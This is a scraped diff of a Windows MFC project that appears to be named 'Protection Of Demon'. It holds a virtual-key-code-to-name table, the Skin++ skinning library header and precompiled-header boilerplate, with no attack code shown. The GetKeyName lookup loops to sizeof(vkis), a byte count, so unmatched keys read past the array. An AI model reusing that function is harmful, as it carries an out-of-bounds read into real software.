/////////////////////////////////////////////////////////////////////////////
其他注释:
应用程序向导使用“TODO:”来指示应添加或自定义的源代码部分。
如果应用程序使用共享 DLL 中的 MFC您将需要重新分发 MFC DLL。如果应用程序所使用的语言与操作系统的区域设置不同则还需要重新分发相应的本地化资源 mfc110XXX.DLL。
有关上述话题的更多信息,请参见 MSDN 文档中有关重新分发 Visual C++ 应用程序的部分。
/////////////////////////////////////////////////////////////////////////////

Binary file not shown.

View File

@ -0,0 +1,295 @@
#ifndef _VIRTUAL_KEY_TO_ASCII_
#define _VIRTUAL_KEY_TO_ASCII_
#include <windows.h>
struct VKeyInfo{
USHORT VKey;
LPCSTR VKname;
};
#define AddVKey(VK, VKName) {(VK), (VKName)}
// 辛辛苦苦从MSDN上摘录下来VK的值从0x01 - 0xFE,如果编译器发现未定义的项目,直接换成对应的值就可以了.
static VKeyInfo vkis[] = {
AddVKey(VK_LBUTTON, "Left mouse button"),
AddVKey(VK_RBUTTON, "Right mouse button"),
AddVKey(VK_CANCEL, "Control-break processing"),
AddVKey(0x04, "Middle mouse button (three-button mouse)"),
AddVKey(0x05, "Windows 2000/XP: X1 mouse button"),
AddVKey(0x06, "Windows 2000/XP: X2 mouse button"),
AddVKey(0x07, "Undefined"),
AddVKey(VK_BACK, "BACKSPACE key"),
AddVKey(VK_TAB, "TAB key"),
AddVKey(0x0A, "Reserved"),
AddVKey(0x0B, "Reserved"),
AddVKey(VK_CLEAR, "CLEAR key"),
AddVKey(VK_RETURN, "ENTER key"),
AddVKey(0x0E, "Undefined"),
AddVKey(0x0F, "Undefined"),
AddVKey(VK_SHIFT, "SHIFT key"),
AddVKey(VK_CONTROL, "CTRL key"),
AddVKey(VK_MENU, "ALT key"),
AddVKey(VK_PAUSE, "PAUSE key"),
AddVKey(VK_CAPITAL, "CAPS LOCK key"),
AddVKey(VK_KANA, "Input Method Editor (IME) Kana mode"),
AddVKey(VK_HANGUL, "IME Hangul mode"),
AddVKey(0x16, "Undefined"),
AddVKey(VK_JUNJA, "IME Junja mode"),
AddVKey(VK_FINAL, "IME final mode"),
AddVKey(VK_HANJA, "IME Hanja mode"),
AddVKey(VK_KANJI, "IME Kanji mode"),
AddVKey(0x1A, "Undefined"),
AddVKey(VK_ESCAPE, "ESC key"),
AddVKey(VK_CONVERT, "IME convert"),
AddVKey(VK_NONCONVERT, "IME nonconvert"),
AddVKey(VK_ACCEPT, "IME accept"),
AddVKey(VK_MODECHANGE, "IME mode change request"),
AddVKey(VK_SPACE, "SPACEBAR"),
AddVKey(VK_PRIOR, "PAGE UP key"),
AddVKey(VK_NEXT, "PAGE DOWN key"),
AddVKey(VK_END, "END key"),
AddVKey(VK_HOME, "HOME key"),
AddVKey(VK_LEFT, "LEFT ARROW key"),
AddVKey(VK_UP, "UP ARROW key"),
AddVKey(VK_RIGHT, "RIGHT ARROW key"),
AddVKey(VK_DOWN, "DOWN ARROW key"),
AddVKey(VK_SELECT, "SELECT key"),
AddVKey(VK_PRINT, "PRINT key"),
AddVKey(VK_EXECUTE, "EXECUTE key"),
AddVKey(VK_SNAPSHOT, "PRINT SCREEN key"),
AddVKey(VK_INSERT, "INSERT key"),
AddVKey(VK_DELETE, "DEL key"),
AddVKey(VK_HELP, "HELP key"),
AddVKey(0x30, "0"),
AddVKey(0x31, "1"),
AddVKey(0x32, "2"),
AddVKey(0x33, "3"),
AddVKey(0x34, "4"),
AddVKey(0x35, "5"),
AddVKey(0x36, "6"),
AddVKey(0x37, "7"),
AddVKey(0x38, "8"),
AddVKey(0x39, "9"),
AddVKey(0x3A, "Undefined"),
AddVKey(0x3B, "Undefined"),
AddVKey(0x3C, "Undefined"),
AddVKey(0x3D, "Undefined"),
AddVKey(0x3E, "Undefined"),
AddVKey(0x3F, "Undefined"),
AddVKey(0x40, "Undefined"),
AddVKey(0x41, "A"),
AddVKey(0x42, "B"),
AddVKey(0x43, "C"),
AddVKey(0x44, "D"),
AddVKey(0x45, "E"),
AddVKey(0x46, "F"),
AddVKey(0x47, "G"),
AddVKey(0x48, "H"),
AddVKey(0x49, "I"),
AddVKey(0x4A, "J"),
AddVKey(0x4B, "K"),
AddVKey(0x4C, "L"),
AddVKey(0x4D, "M"),
AddVKey(0x4E, "N"),
AddVKey(0x4F, "O"),
AddVKey(0x50, "P"),
AddVKey(0x51, "Q"),
AddVKey(0x52, "R"),
AddVKey(0x53, "S"),
AddVKey(0x54, "T"),
AddVKey(0x55, "U"),
AddVKey(0x56, "V"),
AddVKey(0x57, "W"),
AddVKey(0x58, "X"),
AddVKey(0x59, "Y"),
AddVKey(0x5A, "Z"),
AddVKey(VK_LWIN, "Left Windows key (Microsoft Natural keyboard)"),
AddVKey(VK_RWIN, "Right Windows key (Natural keyboard)"),
AddVKey(VK_APPS, "Applications key (Natural keyboard)"),
AddVKey(0x5E, "Reserved"),
AddVKey(VK_SLEEP, "Computer Sleep key"),
AddVKey(VK_NUMPAD0, "Numeric keypad 0 key"),
AddVKey(VK_NUMPAD1, "Numeric keypad 1 key"),
AddVKey(VK_NUMPAD2, "Numeric keypad 2 key"),
AddVKey(VK_NUMPAD3, "Numeric keypad 3 key"),
AddVKey(VK_NUMPAD4, "Numeric keypad 4 key"),
AddVKey(VK_NUMPAD5, "Numeric keypad 5 key"),
AddVKey(VK_NUMPAD6, "Numeric keypad 6 key"),
AddVKey(VK_NUMPAD7, "Numeric keypad 7 key"),
AddVKey(VK_NUMPAD8, "Numeric keypad 8 key"),
AddVKey(VK_NUMPAD9, "Numeric keypad 9 key"),
AddVKey(VK_MULTIPLY, "Multiply key"),
AddVKey(VK_ADD, "Add key"),
AddVKey(VK_SEPARATOR, "Separator key"),
AddVKey(VK_SUBTRACT, "Subtract key"),
AddVKey(VK_DECIMAL, "Decimal key"),
AddVKey(VK_DIVIDE, "Divide key"),
AddVKey(VK_F1, "F1 key"),
AddVKey(VK_F2, "F2 key"),
AddVKey(VK_F3, "F3 key"),
AddVKey(VK_F4, "F4 key"),
AddVKey(VK_F5, "F5 key"),
AddVKey(VK_F6, "F6 key"),
AddVKey(VK_F7, "F7 key"),
AddVKey(VK_F8, "F8 key"),
AddVKey(VK_F9, "F9 key"),
AddVKey(VK_F10, "F10 key"),
AddVKey(VK_F11, "F11 key"),
AddVKey(VK_F12, "F12 key"),
AddVKey(VK_F13, "F13 key"),
AddVKey(VK_F14, "F14 key"),
AddVKey(VK_F15, "F15 key"),
AddVKey(VK_F16, "F16 key"),
AddVKey(VK_F17, "F17 key"),
AddVKey(VK_F18, "F18 key"),
AddVKey(VK_F19, "F19 key"),
AddVKey(VK_F20, "F20 key"),
AddVKey(VK_F21, "F21 key"),
AddVKey(VK_F22, "F22 key"),
AddVKey(VK_F23, "F23 key"),
AddVKey(VK_F24, "F24 key"),
AddVKey(0x88, "Unassigned"),
AddVKey(0x89, "Unassigned"),
AddVKey(0x8A, "Unassigned"),
AddVKey(0x8B, "Unassigned"),
AddVKey(0x8C, "Unassigned"),
AddVKey(0x8D, "Unassigned"),
AddVKey(0x8E, "Unassigned"),
AddVKey(0x8F, "Unassigned"),
AddVKey(VK_NUMLOCK, "NUM LOCK key"),
AddVKey(VK_SCROLL, "SCROLL LOCK key"),
AddVKey(0x92, "OEM specific"),
AddVKey(0x93, "OEM specific"),
AddVKey(0x94, "OEM specific"),
AddVKey(0x95, "OEM specific"),
AddVKey(0x96, "OEM specific"),
AddVKey(0x97, "Unassigned"),
AddVKey(0x98, "Unassigned"),
AddVKey(0x99, "Unassigned"),
AddVKey(0x9A, "Unassigned"),
AddVKey(0x9B, "Unassigned"),
AddVKey(0x9C, "Unassigned"),
AddVKey(0x9D, "Unassigned"),
AddVKey(0x9E, "Unassigned"),
AddVKey(0x9F, "Unassigned"),
AddVKey(VK_LSHIFT, "Left SHIFT key"),
AddVKey(VK_RSHIFT, "Right SHIFT key"),
AddVKey(VK_LCONTROL, "Left CONTROL key"),
AddVKey(VK_RCONTROL, "Right CONTROL key"),
AddVKey(VK_LMENU, "Left MENU key"),
AddVKey(VK_RMENU, "Right MENU key"),
AddVKey(0xA6, "Windows 2000/XP: Browser Back key"),
AddVKey(0xA7, "Windows 2000/XP: Browser Forward key"),
AddVKey(0xA8, "Windows 2000/XP: Browser Refresh key"),
AddVKey(0xA9, "Windows 2000/XP: Browser Stop key"),
AddVKey(0xAA, "Windows 2000/XP: Browser Search key"),
AddVKey(0xAB, "Windows 2000/XP: Browser Favorites key"),
AddVKey(0xAC, "Windows 2000/XP: Browser Start and Home key"),
AddVKey(0xAD, "Windows 2000/XP: Volume Mute key"),
AddVKey(0xAE, "Windows 2000/XP: Volume Down key"),
AddVKey(0xAF, "Windows 2000/XP: Volume Up key"),
AddVKey(0xB0, "Windows 2000/XP: Next Track key"),
AddVKey(0xB1, "Windows 2000/XP: Previous Track key"),
AddVKey(0xB2, "Windows 2000/XP: Stop Media key"),
AddVKey(0xB3, "Windows 2000/XP: Play/Pause Media key"),
AddVKey(0xB4, "Windows 2000/XP: Start Mail key"),
AddVKey(0xB5, "Windows 2000/XP: Select Media key"),
AddVKey(0xB6, "Windows 2000/XP: Start Application 1 key"),
AddVKey(0xB7, "Windows 2000/XP: Start Application 2 key"),
AddVKey(0xB8, "Reserved"),
AddVKey(0xB9, "Reserved"),
AddVKey(VK_OEM_1, "Used for miscellaneous characters; it can vary by keyboard."
"Windows 2000/XP: For the US standard keyboard, the \';:\' key"),
AddVKey(VK_OEM_PLUS, "Windows 2000/XP: For any country/region, the \'+\' key"),
AddVKey(VK_OEM_COMMA, "Windows 2000/XP: For any country/region, the \',\' key"),
AddVKey(VK_OEM_MINUS, "Windows 2000/XP: For any country/region, the \'-\' key"),
AddVKey(VK_OEM_PERIOD, "Windows 2000/XP: For any country/region, the \'.\' key"),
AddVKey(VK_OEM_2, "Used for miscellaneous characters; it can vary by keyboard."
"Windows 2000/XP: For the US standard keyboard, the \'/?\' key"),
AddVKey(VK_OEM_3, "Used for miscellaneous characters; it can vary by keyboard."
"Windows 2000/XP: For the US standard keyboard, the \'`~\' key"),
AddVKey(0xC1, "Reserved"),
AddVKey(0xC2, "Reserved"),
AddVKey(0xC3, "Reserved"),
AddVKey(0xC4, "Reserved"),
AddVKey(0xC5, "Reserved"),
AddVKey(0xC6, "Reserved"),
AddVKey(0xC7, "Reserved"),
AddVKey(0xC8, "Reserved"),
AddVKey(0xC9, "Reserved"),
AddVKey(0xCA, "Reserved"),
AddVKey(0xCB, "Reserved"),
AddVKey(0xCC, "Reserved"),
AddVKey(0xCD, "Reserved"),
AddVKey(0xCE, "Reserved"),
AddVKey(0xCF, "Reserved"),
AddVKey(0xD0, "Reserved"),
AddVKey(0xD1, "Reserved"),
AddVKey(0xD2, "Reserved"),
AddVKey(0xD3, "Reserved"),
AddVKey(0xD4, "Reserved"),
AddVKey(0xD5, "Reserved"),
AddVKey(0xD6, "Reserved"),
AddVKey(0xD7, "Reserved"),
AddVKey(0xD8, "Unassigned"),
AddVKey(0xD9, "Unassigned"),
AddVKey(0xDA, "Unassigned"),
AddVKey(VK_OEM_4, "Used for miscellaneous characters; it can vary by keyboard."
"Windows 2000/XP: For the US standard keyboard, the \'[{\' key"),
AddVKey(VK_OEM_5, "Used for miscellaneous characters; it can vary by keyboard."
"Windows 2000/XP: For the US standard keyboard, the \'\\|\' key"),
AddVKey(VK_OEM_6, "Used for miscellaneous characters; it can vary by keyboard."
"Windows 2000/XP: For the US standard keyboard, the \']}\' key"),
AddVKey(VK_OEM_7, "Used for miscellaneous characters; it can vary by keyboard."
"Windows 2000/XP: For the US standard keyboard, the \'single-quote/double-quote\' key"),
AddVKey(VK_OEM_8, "Used for miscellaneous characters; it can vary by keyboard."),
AddVKey(0xE0, "Reserved"),
AddVKey(0xE1, "OEM specific"),
AddVKey(VK_OEM_102, "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard"),
AddVKey(0xE3, "OEM specific"),
AddVKey(0xE4, "OEM specific"),
AddVKey(VK_PROCESSKEY, "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key"),
AddVKey(0xE6, "OEM specific"),
AddVKey(0xE7, "Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP"),
AddVKey(0xE8, "Unassigned"),
AddVKey(0xE9, "OEM specific"),
AddVKey(0xEA, "OEM specific"),
AddVKey(0xEB, "OEM specific"),
AddVKey(0xEC, "OEM specific"),
AddVKey(0xED, "OEM specific"),
AddVKey(0xEF, "OEM specific"),
AddVKey(0xF0, "OEM specific"),
AddVKey(0xF1, "OEM specific"),
AddVKey(0xF2, "OEM specific"),
AddVKey(0xF3, "OEM specific"),
AddVKey(0xF4, "OEM specific"),
AddVKey(0xF5, "OEM specific"),
AddVKey(VK_ATTN, "Attn key"),
AddVKey(VK_CRSEL, "CrSel key"),
AddVKey(VK_EXSEL, "ExSel key"),
AddVKey(VK_EREOF, "Erase EOF key"),
AddVKey(VK_PLAY, "Play key"),
AddVKey(VK_ZOOM, "Zoom key"),
AddVKey(VK_NONAME, "Reserved"),
AddVKey(VK_PA1, "PA1 key"),
AddVKey(VK_OEM_CLEAR, "Clear key"),
AddVKey(0xFF, "Unknown Virtual-Key Code")
};
LPCSTR GetKeyName(USHORT VKey)
{
int i = 0;
for(i = 0; i < sizeof(vkis); i++)
{
if(VKey == vkis[i].VKey)
return vkis[i].VKname;
}
return vkis[--i].VKname;
}
#endif

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

BIN
源代码/resource.h Normal file

Binary file not shown.

BIN
源代码/skin/AquaOS.ssk Normal file

Binary file not shown.

237
源代码/skin/SkinPPWTL.h Normal file
View File

@ -0,0 +1,237 @@
#ifndef _SKINPPWTL_H_
#define _SKINPPWTL_H_
#ifdef _SKINPP_STATIC
#define SKINPPWTL_API
#else
#ifdef SKINPPWTL_EXPORTS
#define SKINPPWTL_API __declspec(dllexport)
#else
#define SKINPPWTL_API __declspec(dllimport)
#endif
#endif
#define WM_TOOLBARPAINTPRE (WM_USER + 802)
#define WM_TOOLBARPAINTEND (WM_USER + 803)
#define SM_LBUTTONUP (WM_USER + 804)
//按钮状态
enum BUTTONSTATE
{
NORMAL = 0,
PRESS = 1,
DISABLE = 2,
HOT = 3,
FOCUS = 4,
LAST = 5
};
//绘制类型
enum DRAWTYPE
{
BUTTON = 0,
SCROLLARROWUP = 1,
SCROLLARROWDOWN = 2,
SPLITTERBARHORZ = 3,
SPLITTERBARVERT = 4,
SPLITTERBARBORDER = 5,
LISTHEAD = 6
};
//获得皮肤资源的类型
enum SKINOBJTYPE
{
DIALOGTYPE = 0,
BUTTONTYPE = 1,
CHECKBOXTYPE = 2,
RADIOBOXTYPE = 3,
STATICTYPE = 4,
TRACKBARTYPE = 5,
};
struct ListBoxItem
{
HIMAGELIST hImageList;
int nImageIndex;
ListBoxItem()
{
hImageList = NULL;
nImageIndex = -1;
}
};
#define REST_BITMAP 0x0001 //.bmp
#define REST_ICON 0x0002 //.ico
#define REST_CURSOR 0x0003 //.cur
#define REST_ANIMATE 0x0004 //.ani
typedef struct _ResourceInfo
{
HGDIOBJ hGdiObj;//[OUT]
DWORD dwType; //[OUT]
int nWidth; //[OUT]
int nHeight;//[OUT]
TCHAR szResImageName[_MAX_FNAME];//[IN]
BOOL bHorzSplit;//[IN]
int nLength;//[IN]
int nCount; //[IN]
int nIndex; //[IN]
_ResourceInfo()
{
hGdiObj = NULL;
dwType = REST_BITMAP;
nWidth = 0;
nHeight = 0;
_tcscpy(szResImageName,_T(""));
bHorzSplit = TRUE;
nLength = -1;
nCount = -1;
nIndex = -1;
}
}ResInfo,* PRESINFO;
//////////////////////////////////////////////////////////////////////////
//加载皮肤
//SkinFile :皮肤路径,注意可以是*.ssk,也可以是皮肤目录中的INI文件.
//bFromIni :该参数指定皮肤文件是从*.ssk读取,还是从INI文件读取.
SKINPPWTL_API BOOL skinppLoadSkin(TCHAR* szSkinFile,BOOL bFromIni = FALSE);
SKINPPWTL_API BOOL skinppLoadSkinFromRes(HINSTANCE hInstance,LPCTSTR szResourceName,
LPCTSTR szResourceType,TCHAR* szSkinFileName);
//移除皮肤
SKINPPWTL_API BOOL skinppRemoveSkin();
//退出界面库,做清理工作。
SKINPPWTL_API BOOL skinppExitSkin();
//设置ListBox控件的自画信息
//hWnd : ListBox控件的句柄
//nIndex : Item项的索引
//pListBoxItem : Item项自画的结构信息
SKINPPWTL_API void skinppSetListBoxItemDrawInfo(HWND hWnd,int nIndex,struct ListBoxItem* pListBoxItem);
//获得换肤后的系统颜色
//nColorIndex : 要获取的颜色类型
SKINPPWTL_API COLORREF skinppGetSkinSysColor(int nColorIndex);
//获得Windows系统默认的颜色
//nColorIndex : 要获取的颜色类型
SKINPPWTL_API COLORREF skinppGetDefaultSysColor(int nColorIndex);
//hWnd : 对话框窗口的句柄
//nResID : 对话框资源ID
SKINPPWTL_API BOOL skinppSetWindowResID(HWND hWnd,int nResID);//[多语言]
SKINPPWTL_API BOOL skinppSetFreeDlgID(HWND hWnd,int nResID);
SKINPPWTL_API BOOL skinppSetSkinResID(HWND hWnd,int nResID);
//设置ListHeader窗口的排序信息
//hWnd : ListHeader的窗口句柄
//nSortColumn : 要对ListHeader排序的列的索引
//bSortAscending: 是否为升序
SKINPPWTL_API void skinppSetListHeaderSortInfo(HWND hWnd,int nSortColumn,BOOL bSortAscending = TRUE);
//在给定的HDC上,指定相应的绘制类型和状态,在相应的矩形区域中进行绘制.
//hdc :目标DC
//rect :绘制区域
//eDrawType :绘制类型目前支持SPLITTERBARHORZ,SPLITTERBARVERT,SPLITTERBARBORDER
//nState :选择绘制状态
SKINPPWTL_API void skinppDrawSkinObject(HDC hdc,RECT rect,DRAWTYPE eDrawType,int nState);
//通过资源ID,获得相应类型的皮肤资源位图句柄
//nSkinObjType : 皮肤类型,目前支持 DIALOGTYPE,BUTTONTYPE,CHECKBOXTYPE,RADIOBOXTYPE
//nResID : 资源ID
//nState : 状态,对BUTTONTYPE,CHECKBOXTYPE,RADIOBOXTYPE有效
SKINPPWTL_API HBITMAP skinppGetResFromID(SKINOBJTYPE nSkinObjType,int nResID,int nState =0 );
//设置是否自己画对话框背景,该方法用在需要自己对背景进行处理的情况下.
//hWnd : 对话框的句柄
//bErase : TRUE 为自己画背景,FALSE 为Skin++画,如果没有调用该方法,Skin++将画对话框背景.
SKINPPWTL_API void skinppSetDialogEraseBkgnd(HWND hWnd,BOOL bErase);
//设置对话框背景是否剪切子控件区域。
//hWnd : 对话框句柄
//bNoClip : TRUE为不需要剪切,FALSE为需要剪切区域
//bAllChild : TRUE为该窗体的所有子对话框都剪切.
SKINPPWTL_API void skinppSetDialogBkClipRgn(HWND hWnd,BOOL bClip,BOOL bAllChild = TRUE);
//通过皮肤资源名称获得皮肤资源中位图
//szName : 皮肤资源名称
//HBITMAP : 返回资源中的位图
SKINPPWTL_API HBITMAP skinppGetBitmapRes(LPCTSTR szName);
//通过资源名称取资源的内存指针
//szName : 资源名称
//nSize : 资源大小
//pByte : 返回值成功返回非NULL失败返回NULL
SKINPPWTL_API BYTE* skinppGetSkinResource(LPCTSTR szName,int& nSize);
//通过皮肤资源的名称获得位图不被拉伸的区域值
//szName : 皮肤资源名称
//nTopHeight : 返回不被拉伸的顶高
//nBottomHeight : 返回不被拉伸的底高
//nLeftWidth : 返回不被拉伸的左宽
//nRightWidth : 返回不被拉伸的右宽
SKINPPWTL_API BOOL skinppGetBitmapResRect(LPCTSTR szName,int& nTopHeight,int& nBottomHeight,
int& nLeftWidth,int& nRightWidth);
//设置窗口自画是否自己来处理,该方法用于自画部分需要自己处理的情况下
//hWnd : 要自画的窗口句柄
//bCustomDraw : TRUE为自己处理自画,FALSE为交给Skin++处理自画
SKINPPWTL_API void skinppSetCustomDraw(HWND hWnd,BOOL bCustomDraw);
//设置菜单的皮肤标识
//hWnd : 拥有菜单的窗口句柄
//nSkinObjectID : 菜单皮肤的标识
SKINPPWTL_API void skinppSetMenuSkinObjectID(HWND hWnd,int nSkinObjectID);
//设置是否对自画菜单进行换肤
//bSkin : TRUE为换肤
SKINPPWTL_API void skinppSetSkinOwnerMenu(BOOL bSkin);
//对菜单进行换肤控制
//hMenu : 想换肤的菜单句柄
//bNoSkin : 是否换肤,TRUE为不换肤,FALSE为换肤
SKINPPWTL_API void skinppSetDrawMenu(HMENU hMenu,BOOL bNoSkin);
//对指定的窗口去掉皮肤,并且保证不会再被换肤,即使使用SetSkinHwnd也不会换肤.
//hWnd : 指定的窗口句柄
//bChildNoSkin : 是否对该窗口中的子窗口去掉皮肤
SKINPPWTL_API void skinppSetNoSkinHwnd(HWND hWnd,BOOL bChildNoSkin = TRUE);
//对指定的窗口进行换肤
//hWnd : 指定的窗口句柄
//szClassName : 要子类化的Skin类型 WC_DIALOGBOX/WC_CONTROLBAR等
SKINPPWTL_API void skinppSetSkinHwnd(HWND hWnd,LPCTSTR szClassName = NULL);
//对指定的窗口临时去掉皮肤,可以通过SetSkinHwnd进行再次换肤
SKINPPWTL_API void skinppRemoveSkinHwnd(HWND hWnd);
//是对SetNoSkinHwnd的进一步处理,可以解决使用SetNoSkinHwnd引起的Debug版的断言错
#define SETNOSKINHWND(x) {\
HWND w=(x).UnsubclassWindow();\
skinppSetNoSkinHwnd(w);\
(x).SubclassWindow(w);\
}
//是对RemoveSkinHwnd的进一步处理,可以解决使用RemoveSkinHwnd引起的Debug版的断言错
#define REMOVESKINHWND(x){\
HWND w=(x).UnsubclassWindow();\
skinppRemoveSkinHwnd(w);\
(x).SubclassWindow(w);\
}
SKINPPWTL_API HGDIOBJ skinppGetResFromID(PRESINFO pResInfo);
#endif //_SKINPPWTL_H_

Binary file not shown.

Binary file not shown.

8
源代码/stdafx.cpp Normal file
View File

@ -0,0 +1,8 @@
// stdafx.cpp : 只包括标准包含文件的源文件
// Protection Of Demon.pch 将作为预编译头
// stdafx.obj 将包含预编译类型信息
#include "stdafx.h"

55
源代码/stdafx.h Normal file
View File

@ -0,0 +1,55 @@
// stdafx.h : 标准系统包含文件的包含文件,
// 或是经常使用但不常更改的
// 特定于项目的包含文件
#pragma once
#ifndef VC_EXTRALEAN
#define VC_EXTRALEAN // 从 Windows 头中排除极少使用的资料
#endif
#include "targetver.h"
#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // 某些 CString 构造函数将是显式的
// 关闭 MFC 对某些常见但经常可放心忽略的警告消息的隐藏
#define _AFX_ALL_WARNINGS
#include <afxwin.h> // MFC 核心组件和标准组件
#include <afxext.h> // MFC 扩展
#include <afxdisp.h> // MFC 自动化类
#ifndef _AFX_NO_OLE_SUPPORT
#include <afxdtctl.h> // MFC 对 Internet Explorer 4 公共控件的支持
#endif
#ifndef _AFX_NO_AFXCMN_SUPPORT
#include <afxcmn.h> // MFC 对 Windows 公共控件的支持
#endif // _AFX_NO_AFXCMN_SUPPORT
#include <afxcontrolbars.h> // 功能区和控件条的 MFC 支持
#include <afxsock.h> // MFC 套接字扩展
#ifdef _UNICODE
#if defined _M_IX86
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"")
#elif defined _M_X64
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"")
#else
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
#endif
#endif

8
源代码/targetver.h Normal file
View File

@ -0,0 +1,8 @@
#pragma once
// 包括 SDKDDKVer.h 将定义最高版本的可用 Windows 平台。
// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h并将
// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。
#include <SDKDDKVer.h>